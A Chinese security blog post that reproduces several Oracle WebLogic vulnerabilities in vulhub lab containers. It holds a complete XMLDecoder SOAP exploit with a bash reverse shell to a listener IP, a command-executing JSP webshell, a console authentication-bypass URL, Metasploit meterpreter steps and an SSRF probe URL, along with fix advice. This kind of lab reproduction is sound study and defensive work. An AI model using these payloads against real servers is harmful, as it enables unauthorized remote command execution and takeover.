freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

weblogic一些漏洞复现(原创)
cisbxh 2022-09-08 11:22:22 157650
所属地 浙江省

To be fully alive, fully human, and completely awake is to be continually thrown out of the nest.
Pema Chödrön


⚡搭建环境

为了方便,我使用的是vulhub

VulHub网址:https://vulhub.org/

vulhub使用方法简介

  • 下载项目
    wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
    unzip vulhub-master.zip
    cd vulhub-master

  • 进入某一个漏洞/环境的目录
    cd flask/ssti

  • 自动化编译环境
    docker-compose build

  • 启动整个环境
    docker-compose up -d

每个环境目录下都有相应的说明文件,请阅读该文件,进行漏洞/环境测试。

测试完成后,删除整个环境

docker-compose down -v

CVE-2017-10271漏洞复现

漏洞简介

CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。攻击者发送精心构造的xml数据甚至能通过反弹shell拿到权限

影响版本

  • 10.3.6.0

  • 12.1.3.0.0

  • 12.2.1.1.0

漏洞地址

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

检测漏洞

利用工具:WeblogicScan

工具地址:https://github.com/rabbitmask/WeblogicScan

下载:git clone https://github.com/rabbitmask/WeblogicScan.git

用法:python3 WeblogicScan.py -u 192.168.241.137 -p 7001

使用效果:

漏洞利用

  • poc

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.241.137:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 697

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/192.168.241.143/4444 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
12345678910111213141516171819202122232425262728293031

直接将上面的host地址和反弹shell地址改成自己的就可以了

  • 利用工具
    https://github.com/NingKn/CVE_EXP/blob/main/cve-2017-10271/cve-2017-10271.py

注意:还是直接复制修改比较好,自己改一些地方的话容易出问题,就比如我,浪费了很多时间

在repeater模块重发包后,在本地监听:nc -lvvp 4444

需要等待一会才能收到shell

效果如下:

漏洞原理

修复建议

方法一:删除wls-wsat组件,然后重启weblogic

方法二:官网下载,打补丁

CVE-2018-2628

漏洞简介

CVE-2018-2628漏洞是2018年Weblogic爆出的基于T3(丰富套接字)协议的反系列化高危漏洞,且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245,其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI:远程方法调用(Remote Method Invocation),能够在本地虚拟机上调用远端代码

影响版本

Oracle WebLogic Server10.3.6.0

Oracle WebLogic Server12.2.1.2

Oracle WebLogic Server12.2.1.3

Oracle WebLogic Server12.1.3.0

因为是在内网中的才能利用,使用价值不高,就不弄了

CVE-2018-2894(任意文件上传)

Oracle 7月更新中,修复了 Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。

利用该漏洞,可以上传任意jsp文件,进而获取服务器权限

漏洞地址

影响版本

10.3.6 
12.1.3 
12.2.1.2
12.2.1.3

漏洞利用

前面已经说过了Web Service Test Page默认不开启,所以我们需要先登陆然后去开启

  • 获取密码
    docker-compose logs | grep password

然后登陆,按如图操作打开web服务测试页

最后保存,然后访问如下网页

/ws_utc/config.do

  • 设置当前工作目录:

    • Linux:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

    • Windows:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war

注意:访问这个目录是无需权限的。一定要点提交,否则工作目录没有保存

  • 点击安全-添加

文件就上传一句话jsp木马,如下:

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>
  • 获取时间戳:
    通过burp抓取上传的包就能在相应包里得到

然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]?pwd=123&i=ls执行webshell

修复建议

1.设置Config.do、begin.do页面登录授权后访问;

2.IPS等防御产品可以加入相应的特征;

3.升级到官方最新版本

CVE-2020-14882(未授权命令执行漏洞)

漏洞简介

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令

影响版本

WebLogic 10.3.6.0.0
WebLogic 12.1.3.0.0
WebLogic 12.2.1.3.0
WebLogic 12.2.1.4.0
WebLogic 14.1.1.0.0

漏洞利用

  • poc

  • 访问后台

http://127.0.0.1/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

或者:[Site Unreachable](http://127.0.0.1/)console/images/%252E%252E%252Fconsole.portal
  • getshell

直接使用msf拿下shell

1、首先寻找有没有利用模块

search CVE-2020-14882

得到如下模块:

exploit/multi/http/weblogic_admin_handle_rce

use 0直接使用

2、设置参数

标yes的都需要设置,可以按它的默认的来

注意:target要根据你的目标机的类型来设置,如下设置linux,具体设置信息输入info查看

set target 1

set payload linux/x64/meterpreter_reverse_https

然后就能够得到meterpreter会话,会产生很多个

msf真的已经很好用了,只是对它的操作还不是很熟练使得我弄了半天,所幸最后复现成功

ssrf漏洞(CVE-2014-4210)

漏洞简介

weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件

影响版本

Oracle WebLogic Server 10.3.6.0

Oracle WebLogic Server 10.0.2.0

漏洞地址

http://127.0.0.1:7001/uddiexplorer

可未授权访问uddiexplorer应用

  • POC

http://192.168.241.137:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:7001

使用如上poc,即可探测端口和内网存活主机

可以使用burp的爆破或者其他工具来探测

这里我使用的vulhub的docker无法启动redis容器,就不演示如何拿下redis的shell了

具体利用参考:weblogic ssrf利用

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 cisbxh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
cisbxh LV.3
求师傅们带带我
  • 6 文章数
  • 0 关注者
Obsidian的基本使用
2022-09-08
Obsidian设置图床小结(原创)
2022-09-08
Obsidian设置图床(原创)
2022-07-29
文章目录